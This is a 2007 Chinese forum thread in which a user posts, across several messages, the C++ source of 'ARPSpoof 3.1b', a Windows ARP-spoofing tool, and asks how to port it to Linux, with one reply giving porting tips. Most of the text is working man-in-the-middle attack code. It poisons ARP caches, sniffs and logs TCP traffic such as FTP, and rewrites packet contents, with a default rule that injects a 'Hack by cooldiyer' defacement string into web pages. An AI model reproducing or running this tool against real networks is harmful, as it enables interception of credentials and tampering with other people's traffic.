首页 | 论坛 | Linux | 博客 | 下载 | 人才 | 培训 | WIKI | 手册 | 图书 | 搜索  
Linux论坛 » 编程问题 » Windows下C++程序移植到Linux下编译

2007-2-3 09:45 huaping3263
Windows下C++程序移植到Linux下编译

#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")
#include "iphlpapi.h"
#include "protoinfo.h"
#include "spoof.h"
#include "tcp.h"
#include "replace.h"
// 存储要替换的字符串的链表结构
typedef struct tagSTRLINK
{
char szOld[256];
char szNew[256];
struct tagSTRLINK *next;
}STRLINK, *PSTRLINK;
HANDLE hThread[2]; // 两个发送RARP包的线程
unsigned short g_uPort; // 要监视的端口号
pcap_t *adhandle; // 网卡句柄
HANDLE g_hEvent; // 捕捉 Ctrl+C
int g_uMode; // 欺骗标志 0 表示单向欺骗, 1表示双向欺骗
BOOL bIsReplace = FALSE; // 是否对转发的数据进行替换
BOOL bIsLog = FALSE; // 是否进行数据保存
char szLogfile[MAX_PATH]; // 要保存数据的文件名
// 对应ARPSPOOF结构中的成员
unsigned char ucSelf[6], ucIPA[6], ucIPB[6];
char szIPSelf[16], szIPA[16], szIPB[16], szIPGate[16];
// 初始化链表
PSTRLINK strLink = (PSTRLINK) malloc(sizeof(STRLINK));
char TcpFlag[6]={ 'F','S','R','P','A','U' }; //定义TCP标志位,分析数据包时用
BOOL InitSpoof(char **);
void ResetSpoof();
void Help();
// 把文件中的规则读取对链表中
// 入口参数 szJobfile
// 出口参数 strLink
BOOL ReadJob(char *szJobfile, PSTRLINK strLink)
{
FILE *fp;
char szBuff[256], *p = NULL;
if ((fp = fopen(szJobfile, "rt")) == NULL)
{
  printf("Job file open error\n");
  return FALSE;
}
PSTRLINK pTmp = strLink; // 保存原指针
while (fgets(szBuff, sizeof(szBuff), fp))
{
  if (strcmp(szBuff, "----"))
  {
   fgets(szBuff, sizeof(szBuff), fp);
   strcpy(strLink->szOld, szBuff);
   strLink->szOld[strlen(szBuff)-1] = '\0'; // 替换 '\n' 为 '\0'
   fgets(szBuff, sizeof(szBuff), fp);
   if (strcmp(szBuff, "----"))
   {
    fgets(szBuff, sizeof(szBuff), fp);
    strcpy(strLink->szNew, szBuff);
    strLink->szNew[strlen(szBuff)-1] = '\0';
   }
   else
   {
    printf("Replace Job file format error, used arpspoof /n release a new job file\n");
    return FALSE;
   }
   strLink->next = (PSTRLINK) malloc(sizeof(STRLINK));
   strLink = strLink->next;
   strLink->next = NULL;
  }
}
fclose(fp);
strLink = pTmp; // 恢复原指针
return TRUE;
}
// 把数据写入文件
BOOL SaveLog(char szLogfile[], const void *data, unsigned int size)
{
HANDLE hFile;
DWORD dwBytes;
hFile = CreateFile(szLogfile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
  OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
  return FALSE;
SetFilePointer(hFile, NULL, NULL, FILE_END);
WriteFile(hFile, data, size, &dwBytes, NULL);
CloseHandle(hFile);
return TRUE;
}
// 捕获控制台 Ctrl+C 事件的函数
BOOL CtrlHandler( DWORD fdwCtrlType )
{
switch (fdwCtrlType)
{
  // Handle the CTRL-C signal.
    case CTRL_C_EVENT:
    case CTRL_CLOSE_EVENT:
    case CTRL_BREAK_EVENT:  
    case CTRL_LOGOFF_EVENT:
    case CTRL_SHUTDOWN_EVENT:
  ResetSpoof();
  return TRUE;  
    default:
  return FALSE;
}
}
//  为公用变量赋值,初始化参数
BOOL InitSpoof(char **argv)
{
// IPSelf, ucSelf 已经在找开网卡时初始化过了
memset(ucIPA, 0xff, 6);
memset(ucIPB, 0xff, 6);
memset(szIPA, 0 ,16);
memset(szIPB, 0 ,16);
if (GetMac((char *) argv[1], ucIPA) && GetMac((char *) argv[2], ucIPB))
{
  strcpy((char *) szIPA, (char *) argv[1]);
  strcpy((char *) szIPB, (char *) argv[2]);
  StaticARP((unsigned char *) szIPA, ucIPA);
  StaticARP((unsigned char *) szIPB, ucIPB);
  g_uPort = atoi(argv[3]);
  g_uMode = atoi(argv[5]);
  return TRUE;
}
return FALSE;
}
// 显示ARP欺骗信息 (调试用)
// 加延迟是为了等待参数传递,回一个函数公用一个ARPSPOOF变量
void SpoofInfo(PARPSPOOF arpspoof)
{
leep(100);
}
// 处理ARP欺骗例程,开始Spoof
void ARPSpoof()
{
PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
arpspoof->adhandle = adhandle;
memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
// Spoof IP1 -> IP2
strcpy((char *) arpspoof->szTarget, szIPA);
memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
strcpy((char *) arpspoof->szIP, szIPB);
memcpy(arpspoof->ucIPMAC, ucIPB, 6);
memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  (LPVOID) arpspoof, NULL, NULL);
SpoofInfo(arpspoof);
if (g_uMode == 1) // 如果双向欺骗
{
  // Spoof IP2 -> IP1
  strcpy((char *) arpspoof->szTarget, szIPB);
  memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
  strcpy((char *) arpspoof->szIP, szIPA);
  memcpy(arpspoof->ucIPMAC, ucIPA, 6);
  memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
  hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
   (LPVOID) arpspoof, NULL, NULL);
  SpoofInfo(arpspoof);
}
}
// 重置ARP欺骗,恢复受骗主机的ARP cache
//     和ARPSpoof做相反操作
void ResetSpoof()
{
printf("[+] Reseting .....\n");
TerminateThread(hThread[0], 0);
TerminateThread(hThread[1], 0);
PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
arpspoof->adhandle = adhandle;
strcpy((char *) arpspoof->szTarget, szIPA);
memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
strcpy((char *) arpspoof->szIP, szIPB);
memcpy(arpspoof->ucIPMAC, ucIPB, 6);
memcpy(arpspoof->ucPretendMAC, ucIPB, 6);
memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  (LPVOID) arpspoof, NULL, NULL);
if(g_uMode == 1)
{
  Sleep(200);
  strcpy((char *) arpspoof->szTarget, szIPB);
  memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
  strcpy((char *) arpspoof->szIP, szIPA);
  memcpy(arpspoof->ucIPMAC, ucIPA, 6);
  memcpy(arpspoof->ucPretendMAC, ucIPA, 6);
  hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
   (LPVOID) arpspoof, NULL, NULL);
}
printf("[-] Sleep 5s ");
for(int i = 0; i < 12; i++, Sleep(300))
   printf(".");
printf("\n");
TerminateThread(hThread[0], 0);
TerminateThread(hThread[1], 0);
// pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
pcap_breakloop(adhandle);
}
// 替换数据包中内容
void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
    IPHeader *ih;
    TCPHeader *th;
    u_int ip_len;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
  return; // 只转发IP包
    // 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);
// 得到TCP数据包的指针和长度
unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
  + sizeof(struct _TCPHeader);
int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
//  开始替换数据内容,重新计算校验和
PSTRLINK pTmp = strLink;
int i = 0;
while (pTmp->next)
{
  // 开始匹配规则进行替换
  if (Replace(datatcp, lentcp, pTmp->szOld, pTmp->szNew))
  {
   printf("    Applying rul %s ==> %s\n", pTmp->szOld, pTmp->szNew);
   i ++;
  }
  pTmp = pTmp->next;
}
if (i >0) // 重新计算校验和
{
  printf("
Done %d replacements, forwarding packet of size %d\n",
   i, pkt_len);
  ih->ipChecksum = 0;
  th->checksum = 0;
  ih->ipChecksum = checksum((USHORT *)ih,sizeof(_IPHeader));
  ComputeTcpPseudoHeaderChecksum(ih, th, (char *)datatcp, lentcp);
}
else
  printf("Forwarding untouched packet of size %d\n", pkt_len);
}
// 分析显示数据包内容,或者保存至文件
void AnalyzePacket(const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
    IPHeader *ih;
    TCPHeader *th;
    u_int ip_len;
char szSource[16],szDest[16];
    u_short sport, dport;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
  return; // 只转发IP包
    // 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);
// 将端口信息从网络型转变为主机顺序
sport = ntohs(th->sourcePort);
dport = ntohs(th->destinationPort );
unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
  + sizeof(struct _TCPHeader);
int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
wsprintf(szSource, "%d.%d.%d.%d",
  ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
  ih->ipSourceByte.byte3, ih->ipSourceByte.byte4
  );
wsprintf(szDest, "%d.%d.%d.%d",
  ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
  ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4
  );
// 分析数据包
char szTmpStr[85], szTmpFlag[7];
szTmpFlag[6] = '\0';
unsigned char FlagMask = 1;
for(int i=0; i<6; i++ )
{
  if ((th->flags) & FlagMask)
   szTmpFlag[i] = TcpFlag[i];
  else
   szTmpFlag[i] = '-';
  FlagMask = FlagMask << 1;
}
wsprintf(szTmpStr,
  "\nTCP %15s->%-15s Bytes=%-4d TTL=%-3d Port:%d->%d %s\n",
  szSource, szDest, lentcp, ih->ipTTL, sport, dport, szTmpFlag);
printf("%s", szTmpStr);
if (bIsLog) // 写入文件
{
  SaveLog(szLogfile, szTmpStr, strlen(szTmpStr));
  SaveLog(szLogfile, datatcp, lentcp);
}
//  显示数据包的内容
for (i = 0; i < lentcp; i++)
{
  if ((*(datatcp+i) & 0x000000ff) != 0x07)  // 过滤掉可恶的Beep字符
   printf("%c", *(datatcp+i));
}
}
//  处理转发、修改、保存数据包的例程
//  程序的核心部分
void ForwardPacket(pcap_t *adhandle, const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
    IPHeader *ih;
    TCPHeader *th;
    u_int ip_len;
char szSource[16],szDest[16];
    u_short sport, dport;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
  return; // 只转发IP包
    // 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);[/i][/i][/i]

[[i] 本帖最后由 huaping3263 于 2007-2-5 09:56 编辑 [/i]]

2007-2-3 09:45 HonestQiao
[url]http://blog.csdn.net/minipig114/archive/2005/08/26/465925.aspx[/url]

看看这个,可能对你有所帮助。

你应该先看看,哪些调用是win32系统相关的,例如:winsock2.h
如果你使用标准的c++或者gcc来做则问题小得多。

另外,如果以后继续做可移植的,请看看:(搜索该文中的移植即可找到)
[url]http://seaflower.blogbus.com/logs/2006/03/[/url]

[[i] 本帖最后由 HonestQiao 于 2007-2-3 10:54 编辑 [/i]]

2007-2-3 09:46 huaping3263
// 将端口信息从网络型转变为主机顺序
sport = ntohs(th->sourcePort);
dport = ntohs(th->destinationPort );

wsprintf(szSource, "%d.%d.%d.%d",
  ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
  ih->ipSourceByte.byte3, ih->ipSourceByte.byte4
  );

wsprintf(szDest, "%d.%d.%d.%d",
  ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
  ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4
  );

if (strcmp(szDest, szIPSelf) != 0 && memcmp(ucSelf, eh->dhost,6) == 0)
{
  // rebuild IPA -> IPB
  if (memcmp(eh->shost, ucIPA, 6) == 0)
  {
   memcpy(eh->shost, eh->dhost, 6);
   memcpy(eh->dhost, ucIPB, 6);

   if (ih->ipProtocol == PROTO_TCP && (sport == g_uPort || dport == g_uPort))
   {

    if (bIsReplace)
    {
     printf("[+] Caught %15s:%-4d -> %s:%d\n", szSource, sport, szDest, dport);
     ReplacePacket(pkt_data, pkt_len);
     printf("[*] Forwarding untouched packet of size %d\n", pkt_len);
    }
    else
    {
     AnalyzePacket(pkt_data, pkt_len);
    }
   }
   if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
   {
    printf("[!] Forward thread send packet error\n");
   }
  }
  // rebuild IPB -> IPA
  else if(memcmp(eh->shost, ucIPB, 6) == 0)
  {
   memcpy(eh->shost, eh->dhost, 6);
   memcpy(eh->dhost, ucIPA, 6);

   if (ih->ipProtocol == PROTO_TCP && (sport == g_uPort || dport == g_uPort))
   {
    unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
      + sizeof(struct _TCPHeader);
    int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader)
     + sizeof(_TCPHeader));

    if (bIsReplace)
    {
     printf("[+] Caught %15s:%-4d -> %s:%d\n", szSource, sport, szDest, dport);
     ReplacePacket(pkt_data, pkt_len);
     printf("[*] Forwarding untouched packet of size %d\n", pkt_len);
    }
    else
    {
     AnalyzePacket(pkt_data, pkt_len);
    }
   }
   if(pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
   {
    printf("[!] Forward thread send packet error\n");
   }
  }
}
}
// pcap_loop的回调函数
// 把接收到的数据传给ForwardPacket函数处理
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
ForwardPacket(adhandle, pkt_data,header->len);
}

// 主函数,主要处理参数的初始化
int main(int argc, char *argv[])
{
printf("ARPSpoof Ver 3.1b by CoolDiyer\n");

if (argc >1)
{
  if (argv[1][1] == 'l')
  {
   ListAdapters();
   return 0;
  }

  if (argv[1][1] == 'n')
  {
   FILE *fp;
   if ((fp = fopen("job.txt","w")) == NULL)
   {
    printf("[!] Release job file error\n");
    return 0;
   }
   fputs("----\n<hea\n----\nHack by cooldiyer<noframes>\n" \
    "----\n<HEA\n----\nHack by cooldiyer<noframes>\n----", fp);
   fclose(fp);
   printf("[+] Replace Job file job.txt release success...\n");
   return 0;
  }
}

if (argc < 6)
{
  Help();
  return 0;
}

if ((adhandle = OpenAdapter(atoi(argv[4]), szIPSelf, ucSelf, szIPGate)) == NULL)
{
  printf("[!] Open adatper error!\n");
  return FALSE;
}

if (InitSpoof(argv))
{
  if (argc == 7 && strcmpi(argv[6], "/reset") == 0)
  {
   if (g_uMode == 1)
    printf("[*] Reset  %s <-> %s\n", szIPA ,szIPB);
   else
    printf("[*] Reset  %s --> %s\n", szIPA ,szIPB);
   ResetSpoof();
  }
  else if (argc >5 )
  {
   SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);
   if (argc == 8 && argv[6][1] == 'r') // 如果是要替换转发内容
   {
    if (ReadJob(argv[7], strLink))
    {
     PSTRLINK pTmp = strLink;
     int i=0;
     while (pTmp->next)
     {
      i++;
      printf("[*] Parsing rul %s ==> %s\n", pTmp->szOld, pTmp->szNew);
      pTmp = pTmp->next;
     }
     bIsReplace = TRUE;
     printf("[+] Loaded %d rules...\n", i);
    }
    else
     return -1;

   }
   if (argc == 8 && argv[6][1] == 's')
   {
    strcpy(szLogfile, argv[7]);
    bIsLog = TRUE;
    printf("[+] Save log to %s\n", szLogfile);
   }

   if (g_uMode == 1) //  双向欺骗
    printf("[*] Spoofing  %s <-> %s\n", szIPA ,szIPB);
   else
    printf("[*] Spoofing  %s --> %s\n", szIPA ,szIPB);

   if (!bIsReplace)
    printf("[+] Using fixed forwarding thread.\n");

   // Start Spoof
   ARPSpoof();
   pcap_loop(adhandle, 0, packet_handler, NULL);
  }
}

pcap_close(adhandle);
return 0;
}

2007-2-3 09:47 huaping3263
// 帮助函数,对一些参数的说明和程序的使用
void Help()
{
        printf("Usage:\n");
        printf("  ArpSpoof <IP1> <IP2> <PORT> <AdpNum> <Mode> /[r|s] <File>\n");
        printf("  ArpSpoof /l\n");
        printf("\tMode Options:\n\t\t0\tIP1 --> IP2\n");
        printf("\t\t1\tIP1 <-> IP2\n");
        printf("Examples:\n");
        printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 1 /r job.txt\n");
        printf("\t  # Spoof 192.168.0.1 <-> 192.168.0.8 with rule\n\n");
        printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 21 2 1 /s sniff.log\n");
        printf("\t  # Spoof 192.168.0.1 <-> 192.168.0.8 save to log\n\n");
        printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 0 /RESET\n");
        printf("\t  # Reset 192.168.0.1 --> 192.168.0.8\n\n");
        printf("\t> ArpSpoof /l\n");
        printf("\t  # Lists Adapters\n\n");
        printf("\t> ArpSpoof /n\n");
        printf("\t  # Release a new replace rule file\n");
}

2007-2-3 09:48 huaping3263
// iphlpapi.h文件
/**++

修改自 Borland C++ 中的iphlpapi文件
    因为VC++ 6.0 不支持这些函数
   
--*/

#define MAX_ADAPTER_DESCRIPTION_LENGTH  128 // arb.
#define MAX_ADAPTER_NAME_LENGTH         256 // arb.
#define MAX_ADAPTER_ADDRESS_LENGTH      8   // arb.
#define MAXLEN_PHYSADDR 8

//
// IP_ADDRESS_STRING - store an IP address as a dotted decimal string
//

typedef struct {
    char String[4 * 4];
} IP_ADDRESS_STRING, *PIP_ADDRESS_STRING, IP_MASK_STRING, *PIP_MASK_STRING;

//
// IP_ADDR_STRING - store an IP address with its corresponding subnet mask,
// both as dotted decimal strings
//

typedef struct _IP_ADDR_STRING {
    struct _IP_ADDR_STRING* Next;
    IP_ADDRESS_STRING IpAddress;
    IP_MASK_STRING IpMask;
    DWORD Context;
} IP_ADDR_STRING, *PIP_ADDR_STRING;

//
// ADAPTER_INFO - per-adapter information. All IP addresses are stored as
// strings
//

typedef struct _IP_ADAPTER_INFO {
    struct _IP_ADAPTER_INFO* Next;
    DWORD ComboIndex;
    char AdapterName[MAX_ADAPTER_NAME_LENGTH + 4];
    char Description[MAX_ADAPTER_DESCRIPTION_LENGTH + 4];
    UINT AddressLength;
    BYTE Address[MAX_ADAPTER_ADDRESS_LENGTH];
    DWORD Index;
    UINT Type;
    UINT DhcpEnabled;
    PIP_ADDR_STRING CurrentIpAddress;
    IP_ADDR_STRING IpAddressList;
    IP_ADDR_STRING GatewayList;
    IP_ADDR_STRING DhcpServer;
    BOOL HaveWins;
    IP_ADDR_STRING PrimaryWinsServer;
    IP_ADDR_STRING SecondaryWinsServer;
    time_t LeaseObtained;
    time_t LeaseExpires;
} IP_ADAPTER_INFO, *PIP_ADAPTER_INFO;

typedef struct _MIB_IPNETROW
{
    DWORD                dwIndex;
    DWORD                dwPhysAddrLen;
    BYTE                bPhysAddr[MAXLEN_PHYSADDR];
    DWORD                dwAddr;
    DWORD                dwType;
} MIB_IPNETROW, *PMIB_IPNETROW;

typedef struct _MIB_IPFORWARDROW
{
    DWORD                dwForwardDest;
    DWORD                dwForwardMask;
    DWORD                dwForwardPolicy;
    DWORD                dwForwardNextHop;
    DWORD                dwForwardIfIndex;
    DWORD                dwForwardType;
    DWORD                dwForwardProto;
    DWORD                dwForwardAge;
    DWORD       dwForwardNextHopAS;
    DWORD                dwForwardMetric1;
    DWORD                dwForwardMetric2;
    DWORD                dwForwardMetric3;
    DWORD                dwForwardMetric4;
    DWORD                dwForwardMetric5;
}MIB_IPFORWARDROW, *PMIB_IPFORWARDROW;


typedef unsigned long   IPAddr;     // An IP address.


typedef DWORD (CALLBACK * CRIPENY) (IN PMIB_IPNETROW pArpEntry); // CreateIpNetEntry
typedef DWORD (CALLBACK * SENDARP) (IPAddr, IPAddr, PULONG,PULONG); // SendARP
typedef DWORD (CALLBACK * GBESTRT) (IN  DWORD, IN  DWORD, OUT PMIB_IPFORWARDROW); // GetBestRoute
typedef DWORD (CALLBACK * PGAINFO) (PIP_ADAPTER_INFO,PULONG); //GetAdaptersInfo

HINSTANCE hInst = LoadLibrary("iphlpapi.dll");
CRIPENY CreateIpNetEntry = (CRIPENY) GetProcAddress(hInst,"CreateIpNetEntry");
GBESTRT GetBestRoute = (GBESTRT) GetProcAddress(hInst,"GetBestRoute");
PGAINFO GetAdaptersInfo=(PGAINFO) GetProcAddress(hInst,"GetAdaptersInfo");
SENDARP SendARP = (SENDARP) GetProcAddress(hInst,"SendARP");

//
// 表态绑定ARP函数,操作ARP表
//
BOOL StaticARP(unsigned char szIPAddr[], BYTE bPhysAddr[])
{
        MIB_IPFORWARDROW ipfrow;
        MIB_IPNETROW iprow;
        DWORD dwIPAddr = inet_addr((char *) szIPAddr);
        if (GetBestRoute(dwIPAddr,ADDR_ANY, &ipfrow) != NO_ERROR)
                return (-1);
        memset(&iprow, 0, sizeof(iprow));
        iprow.dwIndex = ipfrow.dwForwardIfIndex;
        iprow.dwPhysAddrLen = 6;
        memcpy(iprow.bPhysAddr, bPhysAddr, 6);
        iprow.dwAddr = dwIPAddr;
        iprow.dwType = 4;        /* - static */

        if (CreateIpNetEntry(&iprow) != NO_ERROR)
                return TRUE;
        return FALSE;
}

//
// 由网卡的名子得到网卡地址相关信息,IP地址、网卡地址、网关IP地址
// 入口参数: 网卡ID ListAdapter()所得
// 出口参数: szIPAddr ==> 自身IP地址 ucPhysical ==> 网卡地址 szGateIPAddr ==> 网关地址
//

BOOL Getadapterbyname(char szAdapterName[], char szIPAddr[],
                                          unsigned char ucPhysicalAddr[],  char szGateIPAddr[])
{
        PIP_ADAPTER_INFO pInfo = NULL,pInfoTemp = NULL;
        ULONG ulSize = 0;
        GetAdaptersInfo(pInfo,&ulSize); // First call get buff size
        pInfo = (PIP_ADAPTER_INFO) new(char[ulSize]);
        GetAdaptersInfo(pInfo, &ulSize);
        while(pInfo)
        {
                if (strcmp(szAdapterName, pInfo->AdapterName) ==0)
                {
                       
                        for(int i=0; i < (int)pInfo->AddressLength; i++)
                                ucPhysicalAddr[i] = pInfo->Address[i];
                        // Get Last Ip Address To szIPAddr
                        PIP_ADDR_STRING pAddTemp=&(pInfo->IpAddressList);
                        while(pAddTemp)
                        {
                                strcpy(szIPAddr,pAddTemp->IpAddress.String);
                                pAddTemp=pAddTemp->Next;
                        }
                        if (strlen(pInfo->GatewayList.IpAddress.String) > 0)
                                strcpy(szGateIPAddr, pInfo->GatewayList.IpAddress.String);
                        else
                                strcpy(szGateIPAddr, "N/A"); // Not Applicable
                        return TRUE;
                }
                pInfo = pInfo->Next;
        }
        delete pInfo;
        return FALSE;
}

2007-2-3 09:50 huaping3263
//////////////////////////////////////////////////
// protoinfo.h文件

/*

定义协议格式
定义协议中使用的宏

*/


#ifndef __PROTOINFO_H__
#define __PROTOINFO_H__


#define ETHERTYPE_IP    0x0800
#define ETHERTYPE_ARP   0x0806
#define        ARP_REPLY         0x0002                        /* ARP reply */
#define ARPHRD_ETHER         1
#define ARP_LEN                 48
// 协议
#define PROTO_TCP     6

typedef struct ip_address
{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
}ip_address;

#pragma pack(push, 1)//取消内存大小自动对齐

typedef struct _ETHeader         // 14字节的以太头
{
        UCHAR        dhost[6];                        // 目的MAC地址destination mac address
        UCHAR        shost[6];                        // 源MAC地址source mac address
        USHORT        type;                                // 下层协议类型,如IP(ETHERTYPE_IP)、ARP(ETHERTYPE_ARP)等
} ETHeader, *PETHeader;

typedef struct _ARPHeader                // 28字节的ARP头
{
        USHORT        hrd;                                //        硬件地址空间,以太网中为ARPHRD_ETHER
        USHORT        eth_type;                        //  以太网类型,ETHERTYPE_IP ??
        UCHAR        maclen;                                //        MAC地址的长度,为6
        UCHAR        iplen;                                //        IP地址的长度,为4
        USHORT        opcode;                                //        操作代码,ARPOP_REQUEST为请求,ARPOP_REPLY为响应
        UCHAR        smac[6];                        //        源MAC地址
        ULONG        saddr;                        //        源IP地址
        UCHAR        dmac[6];                        //        目的MAC地址
        ULONG        daddr;                        //        目的IP地址
} ARPHeader, *PARPHeader;

typedef struct _IPHeader                // 20字节的IP头
{
    UCHAR     iphVerLen;      // 版本号和头长度(各占4位)
    UCHAR     ipTOS;          // 服务类型
    USHORT    ipLength;       // 封包总长度,即整个IP报的长度
    USHORT    ipID;                          // 封包标识,惟一标识发送的每一个数据报
    USHORT    ipFlags;              // 标志
    UCHAR     ipTTL;              // 生存时间,就是TTL
    UCHAR     ipProtocol;     // 协议,可能是TCP、UDP、ICMP等
    USHORT    ipChecksum;     // 校验和
        union {
                unsigned int   ipSource;
                ip_address ipSourceByte;
        };
        union {
                unsigned int   ipDestination;
                ip_address ipDestinationByte;
        };
} IPHeader, *PIPHeader;

typedef struct _TCPHeader                // 20字节的TCP头
{
        USHORT        sourcePort;                        // 16位源端口号
        USHORT        destinationPort;        // 16位目的端口号
        ULONG        sequenceNumber;                // 32位序列号
        ULONG        acknowledgeNumber;        // 32位确认号
        UCHAR        dataoffset;                        // 高4位表示数据偏移
        UCHAR        flags;                                // 6位标志位
                                                                //FIN - 0x01
                                                                //SYN - 0x02
                                                                //RST - 0x04
                                                                //PUSH- 0x08
                                                                //ACK- 0x10
                                                                //URG- 0x20
                                                                //ACE- 0x40
                                                                //CWR- 0x80

        USHORT        windows;                        // 16位窗口大小
        USHORT        checksum;                        // 16位校验和
        USHORT        urgentPointer;                // 16位紧急数据偏移量
} TCPHeader, *PTCPHeader;

#endif // __PROTOINFO_H__
#pragma pack(pop)

2007-2-3 09:50 huaping3263
//replace.h
// 内存替换函数,修改自memfind函数
// 成功替换返回1,其它返回0
//
int memreplace(const void *in_block,     /* 数据块 */
              const size_t block_size,  /* 数据块长度 */
              const void *in_pattern,   /* 需要查找的数据 */
              const size_t pattern_size,        /* 查找数据的长度 */
              const void *in_newpattern, /* 要替换的新数据 */
              const size_t newpattern_size, /* 要替换的新数据的长度 */
              size_t * shift,   /* 移位表,应该是256*size_t的数组 */
              bool * init)
{                               /* 是否需要初始化移位表 */
        size_t byte_nbr,            /* Distance through block */
        match_size,                /* Size of matched part */
        limit;
    const unsigned char *match_ptr = NULL;
    const unsigned char *block = (unsigned char *) in_block,    /* Concrete pointer to block data */
        *pattern = (unsigned char *) in_pattern;        /* Concrete pointer to search value */

    if (block == NULL || pattern == NULL || shift == NULL)
        return (NULL);

/* 查找的串长应该小于 数据长度*/
    if (block_size < pattern_size)
        return 0;

    if (pattern_size == 0)      /* 空串匹配第一个 */
    {
                memcpy((void *) (block), in_newpattern, newpattern_size); // 找到并开始替换
        return 1;
    }

/* 如果没有初始化,构造移位表*/
    if (!init || !*init) {
        for (byte_nbr = 0; byte_nbr < 256; byte_nbr++)
            shift[byte_nbr] = pattern_size + 1;
        for (byte_nbr = 0; byte_nbr < pattern_size; byte_nbr++)
            shift[(unsigned char) pattern[byte_nbr]] = pattern_size - byte_nbr;

        if (init)
            *init = true;
    }

/* 开始搜索数据块,每次前进移位表中的数量 */
    limit = block_size - pattern_size + 1;
    for (byte_nbr = 0; byte_nbr < limit; byte_nbr += shift[block[byte_nbr + pattern_size]]) {
        if (block[byte_nbr] == *pattern) {
            /*
             * 如果第一个字节匹配,那么继续匹配剩下的
             */
            match_ptr = block + byte_nbr + 1;
            match_size = 1;

            do {
                if (match_size == pattern_size)
                {
                                        /* 找到并开始替换 */
                                        memcpy((void *) (block + byte_nbr), in_newpattern, newpattern_size);
                    return 1;
                }
            } while (*match_ptr++ == pattern[match_size++]);
        }
    }
    return 0;
}

//
//  内存替换函数,主要为了操作memreplace函数更方便
//
BOOL Replace(const void *in_block, const size_t block_size,
                         const char *szOld, const char *szNew)
{
    size_t shift[256];
    bool init = false;

    return memreplace(in_block, block_size, szOld, strlen(szOld), szNew,
                strlen(szNew), shift, &init);
}

[[i] 本帖最后由 huaping3263 于 2007-2-3 10:16 编辑 [/i]]

2007-2-3 09:51 huaping3263
//spoof.h
// Tell szTarget szIP's MAC is ucPretendMAC
typedef struct _ARPSPOOF
{
        unsigned char        ucSelfMAC[6]; // self MAC
        unsigned char        szTarget[16]; // target IP Address
        unsigned char        ucTargetMAC[6]; // target MAC
        unsigned char        szIP[16]; // IP2's IP
        unsigned char        ucIPMAC[6]; //IP2's TRUE MAC used to restor local arp cache
        unsigned char        ucPretendMAC[6]; //IP2's Pretend MAC
        pcap_t *adhandle; // net adapter handle

} ARPSPOOF, *PARPSPOOF;

BOOL GetMac(char szIP[], unsigned char ucMacAddr[])
{
        ULONG macAddLen=6;
        memset(ucMacAddr, 0xff, sizeof(ucMacAddr));
        if (SendARP(inet_addr(szIP), (IPAddr) NULL,(PULONG) ucMacAddr, &macAddLen) == NO_ERROR)
        {
                return TRUE;
        }
        else
        {
        printf("\n -> Error Get Mac Address of %s\n",szIP);
                return FALSE;
        }
}

UINT SpoofThread(LPVOID lparam)
{        
        ARPSPOOF arpspoof;
        memcpy(&arpspoof, (PARPSPOOF) lparam, sizeof(ARPSPOOF));
        u_char ucFrame[ARP_LEN];

        // 设置Ethernet头
